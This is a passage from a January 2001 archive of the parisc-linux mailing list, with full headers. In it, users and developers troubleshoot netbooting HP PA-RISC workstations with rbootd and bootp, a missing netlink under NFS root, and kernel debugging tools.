Message-ID: <UTC200101112259.XAA98262.aeb@ark.cwi.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619515 10158 80.91.229.3 (22 Nov 2014 01:25:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, util-linux@math.uio.no
To: Andries.Brouwer@cwi.nl, rhirst@linuxcare.com
Original-X-From: aeb@cwi.nl  Thu Jan 11 15:55:49 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA03141
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Jan 2001 15:55:48 -0700
Original-Received: (qmail 8309 invoked by uid 15267); 11 Jan 2001 22:59:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8300 invoked from network); 11 Jan 2001 22:59:23 -0000
Original-Received: from hera.cwi.nl (192.16.191.1)
  by mailserv2.iuinc.com with SMTP; 11 Jan 2001 22:59:23 -0000
Original-Received: from ark.cwi.nl (ark.cwi.nl [192.16.191.66]) by hera.cwi.nl with ESMTP
	id XAA22129 for ; Thu, 11 Jan 2001 23:59:13 +0100 (MET)
Original-Received: by ark.cwi.nl 
	id XAA98262; Thu, 11 Jan 2001 23:59:13 +0100 (MET)
Xref: news.gmane.org gmane.linux.ports.parisc:9147

Thanks!
Applied.

Andries


From - Thu Nov 08 21:15:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Phillip D. Beal" <pdbeal@louisville.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/80 problem
Date: Thu, 11 Jan 2001 21:37:34 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <20010111213734.D134330@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619515 10163 80.91.229.3 (22 Nov 2014 01:25:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:15 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pdbeal@louisville.edu  Thu Jan 11 19:34:33 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA04651
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Jan 2001 19:34:32 -0700
Original-Received: (qmail 31268 invoked by uid 15267); 12 Jan 2001 02:38:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31250 invoked from network); 12 Jan 2001 02:38:06 -0000
Original-Received: from erouter1.it-datacntr.louisville.edu (136.165.1.15)
  by mailserv2.iuinc.com with SMTP; 12 Jan 2001 02:38:06 -0000
Original-Received: from athena.louisville.edu (athena.louisville.edu [136.165.1.37])
	by erouter1.it-datacntr.louisville.edu (Postfix) with ESMTP id 357BD22EAD
	for <parisc-linux@thepuffingroup.com>; Thu, 11 Jan 2001 21:38:06 -0500 (EST)
Original-Received: by athena.louisville.edu (Postfix, from userid 43478)
	id 280B9C14; Thu, 11 Jan 2001 21:37:35 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:9148

Hey,

I've been testing and building and following the newest developments
with the PARISC port of linux.  However, I've hit a small snag with my
NFS/rbootd/bootp/tftp server.  I have two machines, a 735 and a 755,
that both boot without problem from the linux server.  using the same
kernel, and same config, I can't get a 715/80 to boot from the server.
However, I have built a working CD image of the kernel and stuff, and
my cd boots just fine.  The CD is using the CVS kernel from 20010109,
and the last cd contents from the palinux-0.5.iso cd image, with updated
vmlinux and iplboot.  unfortunatly, I've not had any luck at making my
newly aquired 715/80 to boot from this machine.  I did add it to the
bootptab, rbootd.conf, /etc/hosts, /etc/exports, and others that I don't
remeber right this minute.  My problem is that on the 715, it either
fails to load IPL or something dies trying to load IPL.  For the 735 and
755 I've been using the lifimage created under the palo source, for the
kernel that the systems load and boot.  Is there any other files as such
that a 715 needs that a 735 doesn't?  I've also noticed that the 735 and
755 require rbootd for netowrk boot, but the 715 looked as though it
didn't.  Does a 715 need extra options for bootp to work?  does it need
to load iplboot instead of lifimage?

I looked through the faq, but didn' see this question.

Great Job so far though, the STI console works well on the 715/80
through my cd that I created with your instructions.  However, the STI
looks a little odd on the 735 and 755, ie: some characters are not
displayed right yet...

Thanks,
-- 
Phillip Beal                           ___           _               _   
Electrical and Computer Engineering   | _ ) ___ __ _| |___  _ _  ___| |_ 
pdbeal@louisville.edu                 | _ \/ -_) _` | |_ /_| ' \/ -_)  _|
http://www.bealz.net/                 |___/\___\__,_|_/__(_)_||_\___|\__|


From - Thu Nov 08 21:15:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <alex@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problem
Date: Thu, 11 Jan 2001 23:40:06 -0500
Organization: The Puffins at Linuxcare
Lines: 26
Approved: news@gmane.org
Message-ID: <3A5E8AA6.6D825A61@linuxcare.com>
References: <20010111213734.D134330@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619515 10166 80.91.229.3 (22 Nov 2014 01:25:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Phillip D. Beal" <pdbeal@louisville.edu>
Original-X-From: alex@linuxcare.com  Thu Jan 11 21:31:57 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA05579
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Jan 2001 21:31:57 -0700
Original-Received: (qmail 16218 invoked by uid 15267); 12 Jan 2001 04:35:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16207 invoked from network); 12 Jan 2001 04:35:30 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 12 Jan 2001 04:35:30 -0000
Original-Received: (qmail 166 invoked from network); 12 Jan 2001 04:35:32 -0000
Original-Received: from hse-ottawa-ppp159228.sympatico.ca (HELO linuxcare.com) (adevries@64.229.137.121)
  by smtp.linuxcare.com with SMTP; 12 Jan 2001 04:35:32 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9149

"Phillip D. Beal" wrote:
> 
> Hey,
> 
> I've been testing and building and following the newest developments
> with the PARISC port of linux.  However, I've hit a small snag with my
> NFS/rbootd/bootp/tftp server.  I have two machines, a 735 and a 755,
> that both boot without problem from the linux server.  using the same
> kernel, and same config, I can't get a 715/80 to boot from the server.
> However, I have built a working CD image of the kernel and stuff, and
> my cd boots just fine.  The CD is using the CVS kernel from 20010109,
> and the last cd contents from the palinux-0.5.iso cd image, with updated
> vmlinux and iplboot.  unfortunatly, I've not had any luck at making my
> newly aquired 715/80 to boot from this machine.  

Okay... I *think* that 735 and 755 boot using rbootd.  The 715/new
(including 715/80) boot using bootp.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:15:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problem
Date: Fri, 12 Jan 2001 18:20:15 +0800
Lines: 13
Approved: news@gmane.org
Message-ID: <20010112182012.H13351@neep.com.au>
References: <20010111213734.D134330@athena.louisville.edu> <3A5E8AA6.6D825A61@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619515 10170 80.91.229.3 (22 Nov 2014 01:25:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:15 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Fri Jan 12 03:20:14 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA07440
	for <parisc-linux@puffin.external.hp.com>; Fri, 12 Jan 2001 03:20:13 -0700
Original-Received: (qmail 12035 invoked by uid 15267); 12 Jan 2001 10:23:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10280 invoked from network); 12 Jan 2001 10:22:06 -0000
Original-Received: from symphony-03.iinet.net.au (HELO mail.iinet.net.au) (203.59.24.18)
  by mailserv2.iuinc.com with SMTP; 12 Jan 2001 10:22:06 -0000
Original-Received: (qmail 9037 invoked by uid 666); 12 Jan 2001 10:21:34 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.113.160)
  by mail.iinet.net.au with SMTP; 12 Jan 2001 10:21:34 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id SAA23188
	for parisc-linux@thepuffingroup.com; Fri, 12 Jan 2001 18:20:19 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3A5E8AA6.6D825A61@linuxcare.com>; from alex@linuxcare.com on Thu, Jan 11, 2001 at 11:40:06PM -0500
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:9150

Alex deVries said:
> Okay... I *think* that 735 and 755 boot using rbootd.

The 735 certainly does.

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:15:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Hollbach <andyh@shell.cyberus.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] netlink ?
Date: Fri, 12 Jan 2001 05:30:39 -0500 (EST)
Lines: 44
Approved: news@gmane.org
Message-ID: <200101121030.FAA07151@shell.cyberus.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619516 10174 80.91.229.3 (22 Nov 2014 01:25:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:16 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andyh@shell.cyberus.ca  Fri Jan 12 03:27:45 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA07599
	for <parisc-linux@puffin.external.hp.com>; Fri, 12 Jan 2001 03:27:45 -0700
Original-Received: (qmail 20450 invoked by uid 15267); 12 Jan 2001 10:31:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20442 invoked from network); 12 Jan 2001 10:31:20 -0000
Original-Received: from shell.cyberus.ca (209.195.95.7)
  by mailserv2.iuinc.com with SMTP; 12 Jan 2001 10:31:20 -0000
Original-Received: (from andyh@localhost)
	by shell.cyberus.ca (8.9.3/666/Cyberus Online Inc.) id FAA07151
	for parisc-linux@thepuffingroup.com; Fri, 12 Jan 2001 05:30:39 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9151

Have got a very recent CVS kernel up and running on a 712/60
and want to use it for messing with the Linux IP advanced router
capabilities.

kernel .config has netlink and rtlink set, but ls -l /proc/net shows
no sign of netlink (compared to i386 which does) and iproute2 ip
reports:

ip a l
Cannot open netlink socket: Address family not supported by protocol

/var/log contents are not much use.

Can anyone help me understand why this doesn't just work right out
of the box :)

thanks much, Andy


extract of .config  ...

# Networking options
# 
CONFIG_PACKET=y
# CONFIG_PACKET_MMAP is not set
CONFIG_NETLINK=y
CONFIG_RTNETLINK=y
CONFIG_NETLINK_DEV=y
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
CONFIG_FILTER=y
CONFIG_UNIX=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
CONFIG_IP_ADVANCED_ROUTER=y
CONFIG_RTNETLINK=y
CONFIG_NETLINK=y
CONFIG_IP_MULTIPLE_TABLES=y
CONFIG_IP_ROUTE_FWMARK=y
CONFIG_IP_ROUTE_NAT=y
CONFIG_IP_ROUTE_MULTIPATH=y
CONFIG_IP_ROUTE_TOS=y
CONFIG_IP_ROUTE_VERBOSE=y


From - Thu Nov 08 21:15:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More C100 questions
Date: Fri, 12 Jan 2001 11:38:35 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20010112113835.D21069@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.21.0101110826250.8356-100000@maestro.symsys.com> <200101111641.IAA06417@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619516 10175 80.91.229.3 (22 Nov 2014 01:25:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:16 +0000 (UTC)
Cc: Greg Ingram <ingram@symsys.com>,
        parisc-linux <parisc-linux@thepuffingroup.com>
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Fri Jan 12 04:53:41 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA10060
	for <parisc-linux@puffin.external.hp.com>; Fri, 12 Jan 2001 04:53:41 -0700
Original-Received: (qmail 2173 invoked by uid 15267); 12 Jan 2001 11:57:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2152 invoked from network); 12 Jan 2001 11:57:10 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 12 Jan 2001 11:57:10 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14H2XT-0006E6-00; Fri, 12 Jan 2001 11:38:35 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101111641.IAA06417@milano.cup.hp.com>; from grundler@cup.hp.com on Thu, Jan 11, 2001 at 08:41:24AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9152

On Thu, Jan 11, 2001 at 08:41:24AM -0800, Grant Grundler wrote:
> I'm not sure where the FAQ lives these days.

it hasn't moved, you can add it yourself and it will be on the website
up to an hour later.  linuxcare still haven't responded to my offer
of having it do `pull' updates on demand which would reduce the lag to
typically ~30 seconds between cvs comit and it appearing on the website.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Hollbach <andyh@shell.cyberus.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: netlink ?
Date: Fri, 12 Jan 2001 10:09:39 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200101121509.KAA07701@shell.cyberus.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619516 10181 80.91.229.3 (22 Nov 2014 01:25:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:16 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andyh@shell.cyberus.ca  Fri Jan 12 08:06:55 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA11371
	for <parisc-linux@puffin.external.hp.com>; Fri, 12 Jan 2001 08:06:54 -0700
Original-Received: (qmail 17855 invoked by uid 15267); 12 Jan 2001 15:10:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17685 invoked from network); 12 Jan 2001 15:10:20 -0000
Original-Received: from shell.cyberus.ca (209.195.95.7)
  by mailserv2.iuinc.com with SMTP; 12 Jan 2001 15:10:20 -0000
Original-Received: (from andyh@localhost)
	by shell.cyberus.ca (8.9.3/666/Cyberus Online Inc.) id KAA07701
	for parisc-linux@thepuffingroup.com; Fri, 12 Jan 2001 10:09:39 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9153

The missing netlink has been found. The problem was that the
box was booting via BOOTP and used nfs root. Net initialization
seems to have been deferred and a whole bunch of network related
stuff built into the kernel just did not come up right.

Now that I'm booting off the local /dev/sda with the same kernel,
things seem much improved. /proc/net has about twice the entries now
and netlink works.

Thanks for the excellent kernel port, folks !

cheers, Andy


From - Thu Nov 08 21:15:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Chris Moore" <cmoore@cancun.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trying to get a 735 working
Date: Fri, 12 Jan 2001 16:48:15 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <1010112164816.ZM16737@cancun.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619517 10185 80.91.229.3 (22 Nov 2014 01:25:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: cmoore@cancun.rose.hp.com  Fri Jan 12 17:35:08 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA14354
	for <parisc-linux@puffin.external.hp.com>; Fri, 12 Jan 2001 17:35:08 -0700
Original-Received: (qmail 6219 invoked by uid 15267); 13 Jan 2001 00:38:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6212 invoked from network); 13 Jan 2001 00:38:44 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 13 Jan 2001 00:38:44 -0000
Original-Received: from cancun.rose.hp.com (cancun.rose.hp.com [15.43.234.191])
	by atlrel2.hp.com (Postfix) with ESMTP id 81042B63
	for <parisc-linux@thepuffingroup.com>; Fri, 12 Jan 2001 19:38:43 -0500 (EST)
Original-Received: (from cmoore@localhost)
	by cancun.rose.hp.com (8.9.3 (PHNE_21697)/8.9.3 SMKit7.02) id QAA16739
	for parisc-linux@thepuffingroup.com; Fri, 12 Jan 2001 16:48:16 -0800 (PST)
X-Mailer: Z-Mail (5.0.0 30July97)
Xref: news.gmane.org gmane.linux.ports.parisc:9154

Hello,

I'm trying to get a 735 to boot linux.  I don't currently have an x86
Linux machine on which to run the toolchain so I can't compile a
kernel, and the latest binary LIF image file at
ftp:puffin.external.hp.com:/pub/parisc/binaries/kernels/old
has an older kernel in it which won't boot on my 735.

Can anyone provide me witha LIF image that will work on my 735 so
that I can get it going?

Thanks,

Chris Moore


From - Thu Nov 08 21:15:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying to get a 735 working
Date: Sat, 13 Jan 2001 14:25:26 +0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20010113142523.E13351@neep.com.au>
References: <1010112164816.ZM16737@cancun.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619517 10188 80.91.229.3 (22 Nov 2014 01:25:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Fri Jan 12 23:22:08 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA15901
	for <parisc-linux@puffin.external.hp.com>; Fri, 12 Jan 2001 23:22:08 -0700
Original-Received: (qmail 18803 invoked by uid 15267); 13 Jan 2001 06:25:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18785 invoked from network); 13 Jan 2001 06:25:38 -0000
Original-Received: from symphony-02.iinet.net.au (HELO mail.iinet.net.au) (203.59.24.17)
  by mailserv2.iuinc.com with SMTP; 13 Jan 2001 06:25:38 -0000
Original-Received: (qmail 27889 invoked by uid 666); 13 Jan 2001 06:25:30 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.113.160)
  by mail.iinet.net.au with SMTP; 13 Jan 2001 06:25:30 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id OAA30335
	for parisc-linux@thepuffingroup.com; Sat, 13 Jan 2001 14:25:29 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1010112164816.ZM16737@cancun.rose.hp.com>; from cmoore@cancun.rose.hp.com on Fri, Jan 12, 2001 at 04:48:15PM -0800
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:9155

Chris Moore said:
> I'm trying to get a 735 to boot linux.  I don't currently have an x86
> Linux machine on which to run the toolchain so I can't compile a
> kernel, and the latest binary LIF image file at
> ftp:puffin.external.hp.com:/pub/parisc/binaries/kernels/old
> has an older kernel in it which won't boot on my 735.

Do you have any Unix-like system that you can run rbootd on?  The OS and
architecture is irrelevant.  This will allow you to boot from normal
compiled kernels over the network.

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:15:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "mgalgoci@redhat.com" <mgalgoci@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fixed rbootd rpm
Date: Sat, 29 May 1999 17:24:14 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9905291722110.10636-100000@supserv.support.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619517 10193 80.91.229.3 (22 Nov 2014 01:25:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mgalgoci@redhat.com  Sat May 29 15:24:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA03554
	for <parisc-linux@puffin.external.hp.com>; Sat, 29 May 1999 15:24:17 -0600
Original-Received: (qmail 21405 invoked by uid 15267); 29 May 1999 21:23:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21395 invoked from network); 29 May 1999 21:23:45 -0000
Original-Received: from supserv.support.redhat.com (207.175.42.159)
  by mailserv2.iuinc.com with SMTP; 29 May 1999 21:23:45 -0000
Original-Received: from localhost (mgalgoci@localhost)
	by supserv.support.redhat.com (8.8.7/8.8.7) with ESMTP id RAA11986
	for <parisc-linux@thepuffingroup.com>; Sat, 29 May 1999 17:24:15 -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9156


Hi folks
	I downloaded the rbootd rpm ftp the puffin site and 
found that the source rpm did not build properly on Red Hat
6.0, so I fixed it. To whom or to where should I send the fixed
binary and source rpms?

Cheers,

Matt

--
 Matt Galgoci /////////////////////////////////// "Moo?"
 Honorary Member of Generation Why. /////////////////// 
 //////////////////////////////////////////////////////
 Man....you smell like penguin.         Yes, have some. 



From - Thu Nov 08 21:15:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Oopser
Date: Sat, 13 Jan 2001 07:34:08 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20010113073408.B16185@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619518 10200 80.91.229.3 (22 Nov 2014 01:25:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:18 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Sat Jan 13 00:30:34 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA16728
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Jan 2001 00:30:33 -0700
Original-Received: (qmail 411 invoked by uid 15267); 13 Jan 2001 07:34:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 404 invoked from network); 13 Jan 2001 07:34:10 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 13 Jan 2001 07:34:10 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14HLCS-0005JZ-00
	for parisc-linux@thepuffingroup.com; Sat, 13 Jan 2001 07:34:08 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9157


I'm interested in having a useful debugging tool written by someone who
knows the processor really well.  What I basically want to be able to
do is call oopser(10 * HZ) and have the machine reliably crash in 10
seconds time (and do a register dump).  that would at least tell me
where the kernel's got to.

it'd be most useful if it worked with interrupts disabled, but even
something which required interrupts to be enabled would be of some use.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] semaphores
Date: Sat, 13 Jan 2001 08:18:35 +0000
Lines: 764
Approved: news@gmane.org
Message-ID: <20010113081835.C16185@parcelfarce.linux.theplanet.co.uk>
References: <20010105173422.B14195@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619518 10209 80.91.229.3 (22 Nov 2014 01:25:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: willy@www.linux.org.uk  Sat Jan 13 01:15:06 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA17402
